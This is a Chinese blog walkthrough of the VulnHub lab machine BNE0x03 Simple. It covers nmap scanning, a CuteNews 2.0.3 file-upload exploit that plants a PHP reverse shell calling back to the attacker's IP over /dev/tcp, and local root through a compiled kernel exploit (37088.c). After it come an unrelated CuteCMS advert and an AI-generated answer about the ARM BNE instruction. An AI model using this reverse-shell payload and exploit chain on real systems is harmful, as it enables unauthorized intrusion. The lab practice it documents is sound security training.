红队打靶:BNE0X03_SIMPLE打靶思路详解(vulnhub)

本文详细记录了一次通过端口扫描发现80端口开放,利用CMS(CuteNews2.0.3)的文件上传漏洞获取shell,然后通过内核提权获得root权限的靶机攻防过程。涉及的技术包括nmap扫描、Web渗透、文件上传payload利用和内核提权脚本的使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

写在开头

第一步:主机发现与端口扫描

第二步:Web渗透

第三步:文件上传获取shell

第四步:内核提权

总结与思考

写在开头

本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本靶机的非常简单,但却是一个标准攻击链的靶机。本文的打靶过程涉及到关于cms漏洞利用、文件上传漏洞、内核提权等。完整打靶思路详见:

「红队笔记」靶机精讲:BNE0x03Simple - 内核提权需要考虑哪些?这些窘境你遇到过吗?怎么处理的?_哔哩哔哩_bilibili 本文针对的靶机源于vulnhub,详情见:

 SecTalks: BNE0x03 - Simple ~ VulnHub

 靶机下载链接见:

https://download.vulnhub.com/sectalks/Simple.ova

本靶机的目标是拿到root权限并读取/root/flag.txt。下载成功后用vmware打开,网络适配器设置为NAT模式。靶机打开之后如图:

 

第一步:主机发现与端口扫描

常规思路,发现仅仅开放了80端口。懒得具体讲了。

nmap -sn 10.10.10.0/24
nmap --min-rate 10000 -p- 10.10.10.138
nmap -sT -sV -O -sC -p80 10.10.10.138
nmap -sU --min-rate 10000 -p- 10.10.10.138
nmap --script=vuln -p80 10.10.10.138

第二步:Web渗透

浏览器访问靶机ip,发现是一个登录界面:

 如果能够登录,应该能获得更多有利信息。发现登录框的常见思路:弱口令/默认口令/注入/搜索相关漏洞或寻找其他信息/爆破。 由于此处显示了cms及其版本是CuteNews2.0.3,我们不妨先searchspoit搜索一番:

searchsploit CuteNews 2.0.3

 成功搜到了一个任意文件上传的漏洞利用文件。如果能够任意文件上传,那么我们可以上传一个反弹shell的payload然后触发执行获取shell。先把这个37474.txt下载下来:

searchsploit -m 37474

 查看这个37474.txt:

 大概讲述了漏洞利用的全过程,即注册一个账号,登录后访问Personal options并上传shell.php,即可在路径/cutenews/uploads/目录找到我们上传的shell,并触发执行。

第三步:文件上传获取shell

 那就按照漏洞利用文件的提示,一步一步做吧。首先回到web界面注册账号(点击register),跳转到下面的页面:

 随便注册一个账号,点击Register,直接登录进入了界面:

点击Personal option即可:

 可以看到这个界面有文件上传的位置,我们直接再次上传shell,内容是php的反弹shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?>

 在uploads/目录下确实可以看到我们上传的shell

开启nc监听1234端口:

nc -lvnp 1234  

 点击avater_a_shell.php的路径直接成功触发反弹shell了:

第四步:内核提权

首先sudo -l 查看权限,发现提示没有tty,然后再用python建立交互性更好的shell,结果发现sudo -l要输入密码,此路不通了。

 由于仅仅开放了80端口,搜索敏感信息的意义也就很小了(无法ssh)。应该是必须使用这个shell进行提取,再查看定时任务,也没啥收获

 看了只能试试内核提取了,先查看内核版本:

uname -a

 Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu

我们再次searchspoit搜索对应版本的提取漏洞:

searchsploit kernel 3.16.0-generic |grep "Privilege Escalation"

 这里没有太多技巧,只能尽可能选择版本最为匹配的漏洞利用文件。最好是选择ubuntu 14.04系统的提权漏洞。几次尝试都没找见合适的,于是我重新用Ubuntu 14.04进行搜索:

searchsploit Ubuntu 14.04 |grep "Privilege Escalation" 

 从第一个开始尝试,恰巧第一个就是可以提权的脚本。下载下来37088.c后查看这个文件:

 没有什么特殊的编译方式,直接gcc即可,我这里还改了个名,把37088.c重命名为了apport-race.c:

mv 37088.c apport-race.c

 然后启动一个端口开启http服务,这里就用php了:

然后在靶机中进入/tmp目录,把提权文件apport-race.c从kali中下载下来:

 下载成功:

 然后编译并允许即可提权:

gcc apport-race.c -o apport-race
./apport-race

 红队笔记大佬这里用的是36746。应该有多个内核提权的漏洞利用脚本可以使用。不过他searchspoit搜索的关键词是apport,我感觉有点费解。

最后进入/root目录下找到flag:

 至此打靶完成。

总结与思考

 这个靶机比较简单,就是cms漏洞利用,上传shell并触发反弹shell再内核提权。但这却是经典的攻击链之一。由于cms漏洞利用的文件37474给了我们非常完善的提示,使得靶机的难度进一步下降。哪怕没有这个文件,我们也应该找到登录cms的方式并寻找文件上传的位置。关于上传文件的存储位置,也可以通过目录爆破进行寻找。最后总结一下打靶思路:

1.主机发现与端口扫描:仅仅开放了80端口。

2.Web渗透:发现靶机ip是一个登录界面,cms为CuteCMS 2.0.3,搜索这个cms可找到利用文件。

3.文件上传获取shell:按照cms的漏洞利用文件一步一步操作,最终成功上传shell并触发代码执行,获得反弹shell。

4.内核提权:由于仅仅开放了80端口,因此我们只能通过当前的shell提权。查看当前用户的权限和定时任务无果后,采用了内核提权。尝试了多个脚本最终发现37088可以成功提权。

  到此这个靶机就讲解完毕了。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

CuteCMS是基于PHP+MYSQL的网站内容管理系统,系统早期开始于2003年,作者一直套用这个系统开发了几百个网站系统,同时系统也不断在实践中完善。到2011年,该系统已经开发成比较成熟的CuteCMS产品,该系统设计安全,灵活,实用,稳定,扩展和兼容性好,能在PHP4,PHP5和MYSQL4.1以上版本和各种浏览器(IE,火狐)下稳定运行。CuteCMS根据自身特点结合了目前比较流行的CMS,B2C和团购等系统的部分精华功能,并且拥有了其他CMS没有的独特功能。使CuteCMS成为了一套非常经典实用的内容管理系统。 产品特性: 模板样式设置 结构清晰的模板引擎,让您轻松更换网站模板或调整相关模块功能。 多重安全防护 用户密码采用自定义密钥加密算法,同时程序做了防止SQL注入的相关技术。 用户和组权限 设置用户和组对任意栏目的操作权限,包括添加、修改、删除和浏览等权限。 设置真假静态 网站可以设置生成全静态的HTML页面或伪静态(URL重写)或原始的URL状态 自定义数据模型 定制数据表和字段功能,让栏目数据轻松绑定自定义的数据模型。 SEO搜索引擎优化 符合国际W3C网站制作标准,有利于各类搜索引擎收录和推广。 CuteCMS最适合应用于以下领域: 企业网站,无论大型还是中小型企业,利用网络传递信息在一定程度上提高了办事的效率,提高企业的竞争力; 购物网站,通过CuteCMS灵活的基础框架以及相关接口,能够轻松搭建网上电子商务或B2C平台; 政府机关,通过建立政府门户,有利于各种信息和资源的整合,为政府和社会公众之间加强联系和沟通,从而使政府可以更快、更便捷、更有效开展工作; 教育机构,通过网络信息的引入,使得教育机构之间及教育机构内部和教育者之间进行信息传递,全面提升教育类网站的层面; 媒体机构,互联网这种新媒体已经强而有力的冲击了传统媒体,在这个演变过程中,各类媒体机构应对自己核心有一个重新认识和重新发展的过程,建立一个数字技术平台以适应数字化时代的需求; 行业网站,针对不同行业,强化内部的信息划分,体现行业的特色,网站含有行业的动态信息、产品、市场、技术、人才等信息,树立行业信息权威形象,为行业内产品供应链管理,提供实际的商业机会; 个人站长,兴趣为主导,建立各种题材新颖,内容丰富的网站,通过共同兴趣的信息交流,可以让您形成自己具有特色的用户圈,产生个人需求,并为其服务; 收费网站,内容收费类型的网站,用户可以在线提供产品销售,或者内容收费,简单清晰的盈利模式,确保您以最小的投资,取得最大的回报; 运行环境: 1、Windows 平台:    IIS/Apache + PHP4/PHP5 + MySQL4/5 + Zend Optimizer 2、Linux/Unix 平台    Apache + PHP4/PHP5 + MySQL4/5    建议使用平台:Linux + Apache2.2 + PHP5.2 + MySQL5.0 + Zend Optimizer 安装向导: 1.下载CuteCMS(PHP内容管理系统)V3.0版的压缩包; 2.放到本地环境下或者上传至服务器 (注意:以二进制方式上传); 联系方式: QQ:381209851 E-mail:[email protected]
<think>好的,我现在要解决用户关于ARM汇编中BNE指令跳转到地址0x9ef0的问题。首先,我需要回忆一下ARM汇编的基础知识,特别是条件分支指令。BNE代表“Branch if Not Equal”,也就是当状态寄存器中的Z(Zero)标志位为0时,跳转到指定的地址。 接下来,用户提到跳转地址是0x9EF0。我需要确定这个地址的具体含义。在ARM汇编中,地址通常指向代码段中的某个指令位置。因此,当BNE执行时,如果Z标志为0,程序计数器会跳转到0x9EF0处继续执行。 然后,我需要考虑可能导致Z标志置0的情况。通常,这发生在之前的比较(CMP)或算术运算指令(如SUBS、ADDS等)结果不为零时。例如,如果执行了CMP R0, R1,当R0不等于R1时,Z标志会被清除,此时BNE就会触发跳转。 接下来,用户可能需要知道如何分析这个跳转的具体作用。例如,检查周围的代码,看看在BNE之前是否有比较或运算指令,确定哪些寄存器或内存地址被影响,从而影响Z标志的状态。此外,地址0x9EF0处的代码应该被查看,以了解跳转后的程序流程。 还需要注意ARM处理器的模式,比如是ARM模式还是Thumb模式,因为这会影响到指令的长度和地址对齐。不过,0x9EF0是一个偶数地址,可能暗示Thumb模式,但需要更多的上下文确认。 最后,用户可能需要实际调试的方法,比如使用调试器单步执行,查看寄存器和标志位的变化,或者在反汇编工具中查看0x9EF0处的指令内容,从而全面理解BNE指令在此处的行为。</think>### ARM汇编中BNE指令跳转到地址0x9EF0的分析 #### 1. BNE指令的基本含义 - **BNE**(Branch if Not Equal)是条件分支指令,当状态寄存器中的**Z标志位(Zero Flag)为0**时触发跳转[^1] - 对应关系:`BNE 地址` ≈ "如果前一条指令的运算结果不等于0,则跳转到地址" #### 2. 地址0x9EF0的解读 - 该地址表示代码段中的具体内存位置,需结合反汇编结果分析其功能 - 示例代码片段: ```armasm CMP R0, #5 ; 比较R0与5 BNE 0x9EF0 ; 如果R0≠5则跳转到0x9EF0 ``` #### 3. 典型应用场景 - 循环控制: ```armasm loop_start: SUBS R1, R1, #1 ; R1减1并设置标志位 BNE loop_start ; 如果R1≠0则继续循环 ``` - 条件分支判断: ```armasm CMP R2, R3 BNE error_handler ; 值不相等时跳转到错误处理 ``` #### 4. 调试建议 1. 使用反汇编工具查看0x9EF0处的指令内容 2. 检查BNE之前的指令(如CMP/SUBS/TST等)如何影响状态标志 3. 通过调试器单步执行,观察Z标志位变化
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Boss_frank

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值